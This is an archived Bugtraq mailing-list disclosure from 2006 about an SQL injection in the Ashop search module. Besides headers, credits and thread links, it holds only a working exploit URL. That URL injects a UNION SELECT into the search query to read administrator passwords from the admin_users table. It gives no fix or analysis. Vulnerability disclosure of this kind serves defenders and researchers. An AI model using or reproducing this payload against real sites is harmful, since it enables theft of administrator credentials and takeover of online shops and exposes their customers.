Ashop Search Module SQL injection

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: Ashop Search Module SQL injection
From: entrika_fs@xxxxxxxxx
Date: 13 Jun 2006 16:48:55 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

http://[SITE]/default.asp?mod=search&type=simple&q=%27+union+select+1%2Cadmin_password%2C3%2C4+from+admin_users+%27+&cmdSearch=Search

credits: EntriKa & The_BeKiR & erne

Follow-Ups:
- Re: Ashop Search Module SQL injection
  - From: security curmudgeon

Prev by Date: VampireFreaks journal XSS
Next by Date: Facetherating.com - XSS & session disclosure
Previous by thread: VampireFreaks journal XSS
Next by thread: Re: Ashop Search Module SQL injection
Index(es):
- Date
- Thread